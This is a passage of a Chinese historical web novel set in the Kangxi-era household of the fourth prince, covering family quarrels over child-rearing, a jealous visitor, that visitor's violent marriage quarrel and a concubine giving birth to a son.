“况且你若是想去看你阿玛,你可以直接过去前院找你阿玛,你阿玛一般不会生气的。”
李氏知道四阿哥对女儿是很宽容的,也是真心待女儿好,当父母都是爱自己孩子的,四阿哥也不例外,是女儿自己钻牛角尖了,至于四阿哥对乌格格的偏宠,这就没有办法了,人都有私心,她不能强迫四阿哥更喜欢她。
“那我现在就想见阿玛,我可以去找他吗?”
“当然可以。”
李氏话语刚落,奴才就进来通禀,说是主子爷过来了。
李氏看向女儿,笑道:“你看,你阿玛这不是过来了嘛,你方才说的话对着额娘说就行,别跟你阿玛说这些,知不知道?”
“知道了。”
李氏看着四阿哥走进来,她躺在床上对着四阿哥笑了笑:“爷,你来了。”
“好点了吗?”
“好多了,这孩子今天没怎么踢我。”
胤禛见曦玉在这,摸了摸曦玉的头,问她在宫里吃没吃饱。
曦玉说她提前吃了,所以在宫里没怎么吃。
李氏笑道:“我怕曦玉饿到,提前让他们吃了一些才进宫的,爷,曦玉还跟我说想她阿玛,想要你陪她放鞭炮。”
“弘昀呢?”
“弘昀睡着了。”
曦玉也看向自己阿玛,眼神期待。
“那好,我带曦玉去放鞭炮。”
胤禛很快牵着曦玉出去,怕吵到李氏,他们直接过去花园空地那边放鞭炮,这块空地是他准备挖来当池塘的,一直没有动工。
曦玉有阿玛的陪伴,放鞭炮的时候很开心,不仅放了鞭炮,还放了烟花,阿玛只陪她一个人玩。
放完后,曦玉才开心地回到邀月苑。
胤禛陪曦玉放完鞭炮后又过去云水堂看看福晋跟弘晖,傍晚天黑后直接在福晋这吃点东西,夜里也在福晋这过夜。
大年初一,胤禛要朝贺,初二要跟着去天坛祭祀,初三带着福晋乌锦她们还有孩子进宫拜年,先去皇太后那里,再去德妃娘娘那,一天又过去了。
之后几天,胤禛身为皇子,也跟着到处祭拜,给祖先拜,给佛祖拜,等真正闲下来已经过完元宵了。
胤禛过去桃园,见到乌锦母女两大冬天的还在院子里荡秋千。
“你就不怕冷着孩子?”
“爷你没看到她裹得多严实,况且是你女儿要玩的,不给她玩,她哭得我头疼,我们只是在外面玩一会,很快就进屋。”
昨儿才下雪,今天的雪是融化了一点,不过外面真的很冷,胤禛见女儿被包着只露出一双眼睛,还一直让身后的奴才推得再高一点,笑得很大声。
他绕到秋千后面,亲自给女儿推。
“阿玛,我要高高。”
胤禛没有听女儿的话,就怕她摔下来。
乌锦也觉得差不多了,外面是真的很冷,她也怕女儿生病感冒,于是在四阿哥推女儿一会后,她就说道:“好啦,到时间了,该进屋暖暖了,这是你答应额娘的,到时间就进屋,爷,你把她抱进去。”
胤禛见自家女儿没有说不,乖乖伸手让他抱,他把她从秋千上抱下来,抱着进屋。
屋内燃着银丝炭,暖和得很。
“阿玛,手手。”
女儿将一个暖手炉递给他,胤禛觉得曦宁简直是乌锦的翻版,人虽然小,但聪明得很,他抱着暖手炉暖手,女儿又钻到他怀里。
“爷,你饿吗?今天我们吃锅子行不行?”
胤禛看向乌锦,朝她点点头。
乌锦便把小才子叫进来,让他去吩咐膳房的人准备锅子,这阵子主子爷忙进忙出,过年期间很少过来桃园,她看他那样就知道今日得空清闲,吃锅子是最好的,可以慢慢吃。
“曦宁,把手指头拿下来。”
乌锦见女儿又嘬手指头,忍不住皱眉,曦宁已经快三岁了,现在慢慢跟大人吃的一样了,除了不能吃太辛辣的食物,她觉得三岁差不多要戒奶了,这阵子就让奶娘她们少给她喂奶,许是刚要戒奶,她不习惯,开始嘬手指头。
“
不要。”曦宁顶嘴。
“信不信我打你手手。”
“阿玛……”曦宁转身搂抱住胤禛,窝在他怀里,背对着她额娘,拇指还是放在嘴里嘬。
胤禛也见识过一些孩子喜欢嘬手指,有些甚至嘬到六七岁,所以他觉得不是什么大事,女儿还小,就是不知道怎么突然嘬起手指。
“是不是饿了?”
“她刚吃过。”
“那怎么嘬起手指,从什么时候开始的,年前还不是这样。”
乌锦跟他解释了她准备要她戒奶,曦宁一时不习惯就嘬手指了。
胤禛听着也皱眉,沉声道:“曦宁还不到三岁,没必要这么快就戒奶,戒奶是五六岁后的事情,有些孩子八九岁还在喝奶。”
“乱讲,三岁要戒奶了。”
“曦玉五岁才开始戒奶的,弘晖是去上书房后才戒奶的,一般孩子都是五六岁才开始戒奶,哪有不到三岁就戒奶的,你别揠苗助长。”
乌锦一听这话,忍不住瞪他,他身为父亲,就是有空才过来看女儿一下,平日里都是她在操心,结果她操心还不对起来了,被指责说她揠苗助长,她真是一口血堵在喉咙里。
“主子爷,既然你说我揠苗助长,那这样,你女儿你来带好了,我不管了,你把她带去前院养着,省得我费心费力还不讨好。”
“额娘……”听懂话的曦宁以为自己额娘不要她了,又转过身可怜巴巴地喊一声额娘,想从阿玛怀里出来,爬到额娘身边。
“你阿玛说得对,你阿玛什么都懂,还是让你阿玛管你好了,反正你也不听额娘的话。”
曦宁见额娘真的生气了,很会看人眼色的她就把手指从嘴里拿出来了,爬到额娘身边,用小小的身子抱住自家额娘。
“你去你阿玛那。”
“不要。”
胤禛见到这画面,顿时有点哭笑不得,他不过是说一句就惹乌锦生气了,他也没说错啊,三岁就戒奶的孩子那是因为别人家家穷,没办法才会如此,他也凑过来,将母女两个都搂住。
“生我的气就生我的气,你把气撒在女儿身上干什么,小心吓着她,我只是想让你别让孩子那么快戒奶,戒奶这事没必要急,不行的话再请几个奶娘进府就是。”
“所以养孩子这事,我说了不算是不是?非得听你的是不是?”
胤禛哄道:“也不是这样,是谁有理就听谁的,不是非得听我的,你只有曦宁这个孩子,但曦玉跟弘晖他们真的是五六岁才开始戒奶的,我身为阿玛,知道他们几时戒奶,我比你懂得多。”
“是,我不懂,这孩子还是交给你来带吧,我知道主子爷什么都懂,主子爷最厉害了,女儿,你以后就跟着你阿玛,让你阿玛照顾你。”
“不要阿玛,我要额娘,我不要阿玛,额娘,别不要我。”曦宁开始哭起来,紧紧搂着额娘不放。
胤禛觉得乌锦吓到孩子了,哪有这么威胁孩子的,他眼神中充满不赞同。
乌锦被他这么一看就更气了,他还敢指责她,她推了推他,抱起女儿就走向内室,回到床上坐着。
胤禛跟了上来。
“不要阿玛,不要阿玛,我不要阿玛,阿玛,你走,你走。”
胤禛脚步顿住,见自家女儿哭喊着让他走,不让他靠近,他在后院何时被这样对待过,他看向乌锦,她装作没听到,只是轻轻拍着女儿后背安抚哭闹的女儿。
“那好,阿玛走就是。”
胤禛只好先出去,笑着摇头,他是帮女儿说话,结果女儿还把他赶出去,跟她额娘站在同一阵营。
“好啦,别哭了,额娘怎么会不要你,你别跟额娘顶嘴,要听额娘的话,以后还嘬不嘬手指了?”
曦宁摇头。
乌锦亲了亲她脸颊,帮她擦擦眼泪。
“好啦,不哭了,你出去看看你阿玛还在不在,跟你阿玛道歉,你不能赶你阿玛走,不能指着你阿玛鼻子骂他,你阿玛这个大忙人可是好不容易才过来一趟,他要是生你的气,你以后可就没有阿玛了。”
“那额娘还要不要我?”
乌锦轻笑,又亲女儿的脸颊:“你这么不听话,也就只有你额娘要你了。”
得到自家额娘的保证后,曦宁咧着嘴笑了,自己爬下床,小短腿一蹬一蹬跑出去,见到阿玛还在外面,她扒着阿玛的腿,“阿玛,我错了,你别气我好不好?”
曦宁虽然还不到三岁,但很会道歉,平日里见到额娘生气,她道歉道得很快,我错了三个字说得很顺溜。
胤禛垂眸看着扒着他腿的女儿,那双眼睛骨碌碌地转,十分可爱,简直跟她额娘一模一样,我错了三个字也是她额娘常说的,他把女儿抱起来,问她错在哪,女儿就卡住了,跟她额娘一样,道歉是道歉了,但未必觉得自己错了,她额娘是不觉得错了,女儿年纪还小,不知道错在哪,小小的脑袋还不能处理这么复杂的问题。
曦宁学着她额娘在阿玛脸上连亲几下。
胤禛只觉得心都融化了。
“好啦,阿玛不生你的气,你先跟他们玩好不好,阿玛有话要跟你额娘说。”
胤禛把女儿递给苏培盛,然后又走进内室。
“你让女儿来道歉,是不是觉得你错了?”
“谁错了?明明是你的错,我难道会害她吗?你还说我揠苗助长,人家三岁的孩子戒奶的多的是,是你大惊小怪,你刚刚是用眼神指责我,现在还想我道歉,你怎么不去撞墙。”
胤禛突然觉得乌锦也是一个暴脾气,老九常说他福晋脾气暴,两人常常吵架,没想到他身边也藏着一个暴脾气。
不过他觉得乌锦在他面前越来越……做自己了,其实这是好事,说明她对他越来越信任,他坐在床边,笑道:“我要是真撞墙了,怕你又会心疼。”
“谁心疼你,我才不会心疼你。”
“我心疼你行不行,是我错了,你想怎么样就怎么样吧,我不该指责你,曦宁是你的女儿,我知道你待她很好,是我不对,别生气了。”
胤禛也在她脸颊上连亲好几下,慢慢从脸颊移到嘴唇上。
“我还生你的气,别想就这样揭过去。”
乌锦推了推他。
胤禛看着她笑。
乌锦反而受不了他这样盯着她,温柔的目光她受不了,低头避开他的视线,她其实也没有很生气,就是一件小事,两个人教育孩子的理念不一样,拌拌嘴说几句就过去了,她不会真的揪着不放。
第83章第83章更新
第83章
胤禛抬起她的下巴又亲了过去,生气多亲亲就好了,女儿的事,他的确不该多嘴,乌锦身为亲额娘,肯定不会害孩子,他相信乌锦也不会一根筋,一条路行不通就硬要走,女儿到最后真的戒不了的话,她应该也不会强行逼着女儿戒。
曦宁这孩子被养得白白胖胖的,身子康健,很少生病,可见乌锦在养女儿上肯定是上心的。
“别以为这样,我就原谅你。”
胤禛笑了笑,觉得乌锦说这句话时很是娇俏,嘴上说不原谅,但她整个人已经柔下来,他抬手解开她外衣的扣子。
事后,人跟个小猫似的倚在他怀里,胤禛十分欣慰满足,嘴角微扬,他跟乌锦就这样挺好的,乌锦再给他生个阿哥就更好了。
乌锦累了,不知不觉睡过去,等她醒来时,四阿哥已经不见身影,女儿又在她床上爬来爬去。
“额娘,跟我玩。”
“天天想着玩,额娘给你讲故事好不好?”
曦宁立即拍小手,高兴道:“好,讲故事好。”
乌锦让君梅给她拿来一本小孩子听得懂的故事集,她就在床上念故事给曦宁听。
一直到天黑,母女两才用膳。
乌锦还是妥协了,怕女儿养成嘬手指的习惯,没有强行让她戒奶,想着以后奶娘喂的次数少一点,慢慢戒掉就行。
康熙四十二年二月六日,宋氏过来跟她说八旗又准备选秀了,上一次选秀已经是五六年前的事,原本三年一次的选秀因为这几年国库银两不足,户部那边存银也少,所以三年一次的选秀延迟搁置。
宋氏说过不久,府里又要进新人了。
每回选秀总会有一两个八旗秀女被分到阿哥这边,多的时候不止一两个。
“妹妹,你就不担心吗?”
“担心什么?”
“当然是失宠。”
乌锦笑道:“哪担心得过来,主子爷想要给谁恩宠,哪是我们说了算。”
宋氏觉得乌锦肯定不会失宠,新人进府,她们这些老人担心自己年老色衰,不过乌锦不一样,她本来就不是凭借着容貌获得主子爷的心,所以她应该不用担心,主子爷是真心喜欢她,况且乌锦还有一个女儿。
“李格格应
该快要生了,她这一胎保胎保了几个月,总算是快到满月了。”
只有满月的孩子生下来身子才康健,才不会夭折,不满月生下来的孩子很容易夭折,宋氏觉得李氏真是有福气,已经生了一个格格跟阿哥,现如今又快要生了,这一胎,她总觉得还是阿哥,李氏一向命好。
乌锦也说道:“李格格真是辛苦了,的确吃了不少苦,希望能苦尽甘来。”
“额娘,宋夫人,看我的花。”曦宁从外面跑进来,手里抓着几束花,一看就是刚从土里拔出来的,连根拔起。
“曦宁,你是不是又祸害院子里的花了?我的花都还没来得及长大,你就把它们拔了,你知不知道你拔了,这花就活不了。”
乌锦看着自己越来越调皮捣蛋的女儿,气得胸膛起伏。
“我只是想送给额娘花。”
“这花都还没有开,你等花开了再送,先等它们长大,你别以为你这样说,我就不会骂你。”
“额娘……”
宋氏见到曦宁这孩子被训得很可怜,她出声解围道:“妹妹,曦宁还小,她的心是好的,还想着送花给你,我要是有这么一个懂事贴心的女儿,做梦都会笑醒。”
“姐姐,你看她那样,像是懂事贴心的样子嘛,我种在盆里的花都被她祸害了。”
宋氏见到气鼓鼓的乌锦,觉得好笑,她自己没有孩子,平日里跟乌锦来往多,比起主子爷其它孩子,她跟曦宁这孩子更亲近一些,也更喜欢曦宁,她笑道:“好啦,妹妹别生气,曦宁,你把花重新种回去吧,我带你去种花好不好?”
“好吧。”
宋氏起身牵着曦宁的手往外走。
乌锦叹口气,伺候女儿的那些人几乎事事顺着她,平日里宋氏跟耿氏也很疼爱曦宁,四阿哥也宠她,曦宁身边几乎所有人都在娇惯她,她成了唯一一个唱白脸对她说不的人,导致曦宁的性子越来越娇纵了,虽说还不到三岁,但她已经很会顶嘴,也很快看眼色,她忍不住头疼。
“格格,可是哪里不舒服?”君梅问了一句,乌锦说她没事,她起身去院子那边。
曦宁在宋氏的指挥下,又把拔掉的花种回去,种得歪歪扭扭的,她估计这些花都活不了太久。
“格格,小格格只是贪玩了点。”
乌锦看一眼君梅,说道:“太贪玩也不行,再过一年得请先生教她识字。”
乌锦可不奉行女子无才便是德那一套,她希望自己女儿学识渊博,读书使人明智,她是格格,她可以不困在这些深宅大院里,反正多读书总没有错处。
到了夜里,四阿哥过来,乌锦就跟他说了再过一年找先生教曦宁识字的事。
“你要是舍得,可以让曦宁去学堂那边念书。”
大多数宗女也是要读书的,皇阿玛专门弄了一个女子学堂给在京城的宗女读书上学,跟上书房差不多,不过女子长大后大多是嫁人生子,对才学这一块不会要求过严,所以在学堂里念书的宗女不会像阿哥们在上书房那边一样规矩严格。
虽说三岁读书稍早一些,曦玉是六岁才去学堂,但三岁去学堂的宗女也不是没有,胤禛觉得自家女儿聪明,肯定能学会先生在课上教的东西,早慧不是坏事。
“这有什么舍不舍得?一年后送她去,那学堂离得近不近?”
“很近,你真的舍得?送去学堂念书,白天女儿可能都不在你身边陪着你。”
“三岁的话,只去半天行不行?”
胤禛轻笑出声,她还是舍不得,他顺着她说道:“好,只去半天,都听你的,不过那也是一年后的事情,我们先专注眼前的事。”
胤禛低头亲她。
“爷,我听说又要选秀了,到时候新人进府,你可别忘了我。”
胤禛在被子底下掐了掐她的腰,不满道:“你明知道你跟那些女人不一样,谁进府都动摇不了你的地位,你还说这话是想气死我吗?”
“我只是提醒主子爷,别被新人勾去。”
“呵……你还会担心这个,先前把我推给别人的人是谁,乌锦,爷待你的心,你难道不懂吗?”
乌锦怕他生气,忙不迭地点头应道:“懂懂懂,我自然懂,我知道爷的心在我这,肯定不会被那些妖艳貌美女子勾去,我才是狐狸精,专门勾主子爷的狐狸精。”
胤禛这回是大笑出声,哪有人说自己是狐狸精的,他搂着乌锦,让她更贴着他,在她耳边轻声道:“你知道就好,狐狸精快来吸爷的精气吧。”
乌锦顿时觉得他们仿佛在扮演什么play,莫名开始羞耻起来,她也不需要主动吸他精气,他自己就黏上来了,两人很快缠在一块,彼此交融。
夜深了,两人才歇下。
……
又过两日,乌锦突然收到一张上门拜见的帖子,还是来自多兰格格,她许久没有听说过多兰格格的消息,不过想着雅尔江阿都已经是王爷了,多兰格格是雅尔江阿的亲妹妹,应该不会过得很差。
多兰格格要上门见她,她也不能不见,于是就回帖子让人送到富察府。
翌日,多兰就带着丫鬟上门了,君梅把她们领到桃园,乌锦站在桃园门口迎她们。
“给乌夫人请安,乌夫人万福。”
多兰见到她就给她行礼,让她有些意外,忙把人扶起来:“格格,你这是做什么?怎么还给我行礼了?”
多兰说这是应该的,她如今是四阿哥府里的格格,她们这些官妇,本就该给她行礼。
乌锦是真的有点张二摸不着头脑,不过还没有纠结在行礼上,邀请多兰格格进屋说话。
多兰进来后先是打量这屋内的一切,桌椅炕几,花瓶盆栽,这里一看就很舒适,她问了一句:“桃园?四阿哥这是以夫人的名字命名的院子吗?这里只有你一个主子住吗?”
“是我跟我女儿一起住,格格……郡君快坐。”
多兰坐在铺炕的软垫上,身后还有一个福字靠垫,角落里放的花也是很鲜艳的,不见枯萎,可见这贝勒府的奴才不敢糊弄乌锦,乌锦在这贝勒府的日子过得极好。
“怎么不见小格格?”
“哦,她被人带去花园那边玩了。”
多兰接过乌锦递过来的茶水,抿了一口后就放下,目光又打量起乌锦身上的料子,如今是二月初,乌锦穿着一件绣花蝶的厚褙子,反正不是差的衣服料子。
“郡君,你找我可是有什么事?”
多兰其实也没什么事,就是想过来看看乌锦过得怎么样,她觉得乌锦如今的日子正是她想要过的日子,乌锦占了她的位置。
她心里很嫉妒乌锦,她嫁给伯柱后,刚开始还过得不错,觉得自家丈夫对她很好,甜言蜜语,只是她怀孕后,伯柱就纳了一妾,她生的是女儿,伯柱跟她说得生个儿子,只是她肚子大半年没有动静,伯柱又纳了一个小妾,说是为了生儿子。
她觉得自己没本事生出儿子,也就同意他再纳妾,家里有两个小妾,她渐渐感觉到伯柱来她房里的次数少了,上个月,年刚过完,伯柱又纳了一个小妾,她才意识到哪里不对。
伯柱先前对她甜言蜜语,前面两年还好,到后面他说的甜言蜜语越来越少,偶尔还会说她不懂事,跟她有些
争执,虽说事后都有哄她,但她还是觉得不舒服。
更主要的是她发现自己带过来的嫁妆越来越少,日子过得越来越拮据,她仔细回想伯柱有很多次让她用嫁妆贴补他家,让她用嫁妆给人送礼。
而他自己的俸银,她是一两都没有见到,他如今常去那几个小妾房里,她跟他说的时候,他说是为了生儿子,她要是能生,他就会过来找她。
多兰这阵子才意识到伯柱说的都是借口,他们成婚才几年,他就纳了三个小妾,她生不出儿子还不是因为他来她房里的次数越来越少了,她肚子没有动静又怎么生得出儿子。
她以为伯柱是一个深情的男人,很爱她,她到现在才发现其实自己的丈夫是一个花心滥情的男人,他对着谁都可以说甜言蜜语。
他当初娶她,只是因为她是格格,阿玛的女儿,姓爱新觉罗氏,他想攀着她娘家,并不是他有多喜欢她,对她一见钟情,她花了几年才想明白这件事。
她现在是十分后悔,觉得自己嫁错人,日子过得不如意,还不敢回去跟娘家人诉苦,嫁妆也快要耗没了,要不是她被封为郡君,每个月有月俸,她估计在富察府里得饿死。
她过得这般不如意,她忍不住想到乌锦,当初她要是嫁给四阿哥,她的日子至少不会过得那么拮据,而是像乌锦这样过得很舒心,自己可以住一个独院,不愁吃穿。
乌锦那样子一看就是过得很好,她容光焕发,神采奕奕,在这贝勒府的日子应该没什么忧心的,没有烦恼事的人才会越显年轻。
所以她才上门求见,如今她虽是郡君,但乌锦是四阿哥后院里的格格,身份地位已经比她高,她再嫉恨乌锦,她也不能再像以前那样不顾后果地虐待乌锦,嫁人后,她也慢慢学会看人脸色,学会隐忍。
她扯出笑容道:“我并没有什么事,就是想着许久没见你了,过来看看。”
乌锦觉得奇怪,不过没有继续追问,问多兰格格的女儿多大了。
“四岁了,应该比小格格大一两岁,有空的话,我把她带过来跟小格格一起玩。”
“那自然是好,曦宁很想别人陪她玩。”
多兰听到这话心里不高兴,难不成她女儿只能陪乌锦的女儿玩嘛,以乌锦的女儿为主,乌锦这是成了四阿哥的女人后,也开始变得高傲起来,不过面上她笑笑地应了一声好。
乌锦又问多兰女儿叫什么名字,聊起孩子的事,这是她跟多兰的共同点,都有一个女儿。
“我女儿叫吉珊,小格格会说话了吗?吉珊说话还不是很利索。”
“只说些简单的。”
多兰嗯了一声,然后说她还没有来过贝勒府,能不能逛一逛贝勒府。
乌锦听她这么说,就说她带她逛逛,于是几人走出桃园,她也简单说一说这贝勒府各院子住着谁,给多兰格格介绍。
多兰时不时地附和两句,其实心里越发嫉妒乌锦,乌锦俨然一副女主人做派,让她心里不舒服,尤其是她见到一些奴才碰到乌锦时,都是很恭敬地对乌锦行礼福身,乌锦要是不得宠,那些奴才也不会对她这么恭敬。
到后面,她已经无心逛贝勒府,到花园时,她也见到乌锦的女儿,一个两岁多的孩子身边有四个奴才围着伺候。
想到自己,因为没钱发月银,她身边只有两个人伺候,女儿身边只有一个人,哪像乌锦母女两奴仆环绕。
逛得差不多后,多兰就提出离开了。
等她快走出贝勒府侧门口时,正好碰到四阿哥从外面回府,她有些呆愣住,四阿哥还是跟以前风度翩翩,一身锦衣,面如冠玉。
“多兰?你怎么在这?”
四阿哥出声才让她惊醒,给四阿哥福身行礼。
“我……我是过来见乌夫人的。”
“见乌锦?有事吗?”
多兰如鲠在喉,她听得出来四阿哥语气里的防备,四阿哥可能觉得她又要伤乌锦,他下意识地带有一点质问的态度。
“没什么事,我只是过来跟乌夫人说说话,难道我不可以过来跟乌夫人说说话吗?”多兰抬头看向四阿哥,眼神难得坚定。
胤禛也有点被反问住,他记得乌锦说过多兰生孩子时,她给多兰送过礼,两人的关系似乎有所缓和,他也有一段时间没见过多兰,他瞧着多兰憔悴许多。
毕竟是他看着长大的人,又是雅尔江阿的亲妹妹,他关心地问了一句:“你有什么事可以找我,我也可以帮你。”
在多兰听来是四阿哥不想让她见乌锦,有护住乌锦的那层意思,多兰心里又气又嫉妒,凭什么乌锦得到她曾经想要得到的一切,明明她出身比乌锦高贵。
“四阿哥,你放心,我不会伤害乌夫人,我真的只是过来跟乌夫人说说话聊聊天的,乌夫人还让我带女儿过来跟小格格玩。”
“哦,既然乌锦这么说了,你以后就多带女儿过来跟曦宁玩。”
“我会的,没什么事的话,我先走了。”
多兰带着丫鬟离开,回到富察府后,她才气得摔碎一个茶杯,当伯柱过来时,那碎掉的茶杯已经被收拾好了。
多兰见到自己丈夫过来,面有不满。
“多兰,我听说镶蓝旗护军参领一职目前空着,你跟你大哥说让我当这个护军参领。”
多兰就知道他过来找她准是有事求她,不然他肯定去那些小妾那里了,看清丈夫的为人后,听到这话,她就不由地冷笑一声。
“你连三等侍卫都不是,凭什么一下子就当护军参领,护军参领是几品官,你知道吗?你觉得你能胜任?”
伯柱见妻子脸色不对,他又凑过去想要亲她,却被躲开,他也有些不满:“你又在闹什么?”
“我在闹什么?我什么都没闹,你不用过来找我,去找她们啊,我没本事,没能替你生儿子,你想当护军参领,就去找她们,别来找我。”
伯柱觉得妻子最近闹脾气的次数越来越多,动不动就闹脾气,吵得后院不得安宁,他压着脾气,柔声道:“你是我的妻子,她们不是,我们才是夫妻,夫妻本是一荣俱荣,如今大哥已经是镶蓝旗旗主,我想当个护军参领应该不是难事,你只需要跟大哥说一声就行,我当上护军参领,于夫人而言也是好事,夫人出去见人也会很有面子。”
多兰听完后就更想笑了,她本就是王爷之女,皇上亲封的郡君,她还需要一个护军参领夫人的头衔在外面充场面,她一个亲王之女沦落到要顶着参领夫人的名号见人,那只会让人笑话,而不是有面子的事。
她看向自己的丈夫,当初她被他的甜言蜜语蒙骗,现在她醒悟了,凭他一个八品典仪之子想要当上护军参领是不可能的事,这也就是他想娶她,想攀上她的原因,他家世不好,只能靠着她们家步步高升。
“想当护军参领?不如你先跪下来求我吧,我再考虑要不要跟大哥开口。”
伯柱想也没想地跪下来,以前为了哄她也不是没有跪过。
多兰眼底更加失望,没有骨气的男人,四阿哥就不会轻易下跪,男儿膝下有黄金,四阿哥除了跪皇上跟太子,就没有跪过其它人,自己的丈夫为了官途跪她,是最没有本事的男人。
多兰越发后悔自己嫁给面前这个人,同时她觉得她自己就是亲王之女,他的确该跪她,而不是她哭着求着乞求他的喜欢,她比他高贵,她凭什么要在他这里受气。
“伯柱,你爬过来,爬到我脚边。”
伯柱爬到她脚边,多兰抬起他的下巴,突然狠狠扇他一巴掌,她以前对奴才做这种事做多了,信手拈来。
“你……”伯柱诧异后是愤怒,“你敢打我?”
“我为什么不敢打你?伯柱,以前是我愚蠢,信了你的鬼话,你娶我就是为了今日吧,想当护军参领,一巴掌恐怕还不够。”
伯柱见多兰真的扇他,他愤怒地站起来,也扇了回去。
“你……”这回是轮到多兰诧异,“你敢打我,你这辈子都别想当护军参领,你这辈子都别想当官。”
伯柱完全收起以前温和儒雅的样子,面目有些狰狞:“多兰,你别忘了你如今是嫁给我了,我当不了护军参领,你也会被人耻笑,你不帮我,你以后的日子过得苦,那也是你自找的。”
“我不帮你,我也依旧是皇上亲封的郡君,我会告诉我大哥你打我,你这辈子都升不了官。”
多兰的脖子被掐住,她依旧怒瞪着他。
“多兰,你以为你大哥会管你的死活吗?我升不了官又如何,反正你这辈子都是我的人,嫁鸡随鸡嫁狗随狗,你大哥敢对我怎么样,你已经不是王府的人,而是富察府的人,你大哥只会让你忍,谁让你嫁给我。”
“我大哥不会不管我的。”多兰肯定道。
“那你就试试看,你没听说过嫁出去的女儿泼出去的水吗?你可以回去告诉你大哥,看他会不会帮你。”
多兰被伯柱说得不确定起来,她嫁人后的确感觉自己不是家里人,没人会把她当成简王府的人,而是把她当成伯柱的妻子。
大哥怎么帮她,他们又不可能和离,她也不能搬回娘家住,一个出嫁的人搬回娘家住像什么样子,大哥顶多是教训他几句,之后日子该是什么还是什么样。
她还有女儿,多兰开始觉得自己好像真的摆脱不了面前这个人了。
“多兰,夫荣妻荣,我要是升官了,对你没有坏处,我还是会跟以前一样好好对你,只要你别胡闹。”
“呵……”多兰嘲讽一笑,她日子过得这般
拮据,还不是因为他从来没过她银两,她都是靠嫁妆在过日子,他说的好好对她如果是这样的话,她又得到什么好处。
“你仔细想想吧,下次再对我动手,别怪我不客气。”
伯柱甩下这句话就离开,多兰忍不住痛哭起来。
第84章第84章更新
第84章
多兰哭累了就让人把女儿抱过来,让奴才收拾行李,她直接带着女儿回娘家,她额娘跟大哥他们都很意外,她也没敢跟他们说太多,只是说她跟伯柱吵架了。
大哥说她娇纵,哪有跟丈夫吵架就突然回娘家的,以后的日子还过不过了,孩子都有了,大哥让她做事成熟一点。
多兰委屈,她跟大哥说了伯柱纳妾的事,大哥却说哪个男人不纳妾,就为这点小事闹的话,是她太过任性。
多兰还想反驳时,被额娘劝住,额娘让她先住在家里几天,还好娘家还保留着她没出嫁前的房间,她带着女儿住进去。
额娘过来她房间问她跟伯柱发生什么事时,多兰还是不敢说伯柱打她的事,只说了伯柱这几年连纳三个小妾的事。
西林觉罗氏叹口气,说道:“你大哥说得没错,男人纳妾不是什么大事,你若是因为这事跟额驸闹起来,别人只会觉得你不懂事,他再怎么纳妾,你都是正妻,你看你大哥不是也有好多妾室,你嫂子都没有像你这样气得跑回家。”
“额娘,我……我早知道就不嫁给他了,我要是嫁给……”多兰还是把四阿哥三个字忍回去,只趴在额娘怀里落泪。
“好啦,别哭了,等额驸过来,让你大哥说说他,你也收收你的性子,额娘跟你说,你别指望男人一辈子都哄着你捧着你,你偶尔也得软下来。”
多兰继续落泪。
到天黑后,一家人吃完饭后,多兰带着女儿回房间歇息。
翌日一早,多兰醒来的时候就听奴才说伯柱一大早就过来了,正在厅堂那边跟她大哥说话,她慢慢悠悠地起来,吩咐奴才给女儿穿好衣服,过了一会儿才去厅堂那边。
“多兰……”伯柱见到她就立即从椅子上弹起来,朝她走过来,想牵住她的手,被她甩掉,要不是她家里人在,他又怎么会做出这样亲昵的举动。
“是我错了,我昨天不该跟你吵架,别生我的气好不好,你要打要骂都随你,只要你跟我回家。”
“你现在说得好听。”
伯柱凑在她耳边,轻声哄道:“是真的,多兰,你知道我的心在你这,我昨晚一夜没睡,净想着你了。”
大哥出声道:“好啦,有什么事等吃完饭再说。”
多兰也不好在娘家人面前跟伯柱闹得太僵,她也在意脸面,怕家里人笑话,在伯柱再次牵她的手时,她没有甩开。
用过早膳后,伯柱跟着她回房间,一回到房间,他就抱她亲她,嘴上一直认错道歉。
“你是为了护军佐领的位置才跟我认错道歉吧?”多兰嘲讽道。
“昨天是我太过冲动,不该跟你动手,你打我是应该的,我也痛恨自己那样对你,我自罚。”
多兰见到伯柱自己扇自己,扇得很用力,脸一下子就红了,连扇好几下,她莫名就有些心软了,她跟伯柱毕竟还有感情,昨天是她先扇他,他才打她的,她轻声喝止道:“好啦,别打了,让我大哥他们见到,又说是我任性。”
“多兰,你突然跑回娘家,我昨晚都急坏了,差点满京城找你,一夜没睡,我不当这个护军统领,我只想要你,你跟珊儿在我身边比什么都重要,我最爱的人是你,没有你,我都活不下去。”
多兰半信半疑,不过伯柱认错的态度还是让她有所缓和,她开口道:“你以后的月俸都要交到我手里。”
“交,我通通都交,只是我这月俸比不上大哥他们,只有几两银子。”
“那也得交。”
“交,我交,只要你不生我的气。”
伯柱开始动手动脚,多兰比较吃这一套,没有推拒。
最后多兰还是在娘家住了三天,伯柱也哄了她三天,她才跟着他回府。
回府后,伯柱不去找他那些小妾,而是过来找她,夜宿在她房中。
她大哥没有让伯柱当镶蓝旗护军参领,只是让他当了三等侍卫,伯柱每个月给她三两银子,多兰就这样被哄好了。
虽说乌锦让她带着女儿去跟小格格玩,但她没有带,不想看到乌锦炫耀得意的样子。
……
康熙四十二年三月三日夜里,四阿哥在乌锦这里歇下,半夜,有人过来喊四阿哥,说是李氏要生了。
四阿哥一起身,乌锦也跟着醒了。
“你继续睡,我过去看看。”
乌锦帮四阿哥穿好衣服,让四阿哥赶紧过去。
李氏这一胎本来保胎就保了几个月,现在又是夜里发动,不知道那边是什么情形,她肯定不会在这个时候拦住四阿哥,不让四阿哥过去。
四阿哥不过去,她才要开始担心,李氏跟了他那么多年,为他生儿育女,李氏生孩子时,他都无动于衷的话,只能说他是一个无情狠心的男人。
“快去吧,爷,你就别管我了。”
四阿哥匆匆离开,乌锦想继续睡,但睡不着,一直撑到天亮,她用过早膳后才带着人过去邀月苑,其它小主也过来了,互相行礼后都站在房间外。
耿氏问李氏是何时发动的,大家都摇摇头说不知道,李氏是夜里发动的,没有惊扰太多人。
福晋过来时才给她们解答,说是亥时末发动的。
“主子爷呢?”郭氏也问了一句。
福晋回道:“主子爷昨晚守了一夜,这会去当差了。”
李氏夜里发动,但这会还没生,房间里面有一些叫声,众人脸上都有点沉色,福晋让人送些吃的进去,吃饱才有力气生孩子。
“你们要不还是回去等吧,有什么消息,我再让人告诉你们。”福晋说道。
郭氏说都来了,就在这里等,反正上午也没什么事,郭氏这么一说,大家都留下来等。
终于在午时,李氏生了,生了一个小阿哥,小阿哥被接生产婆抱出来,皱皱巴巴的,大家都凑上去看几眼。
四阿哥也在这会从户部衙门那边回来,接生产婆也把孩子凑上去给四阿哥看,她们一群人给四阿哥贺喜。
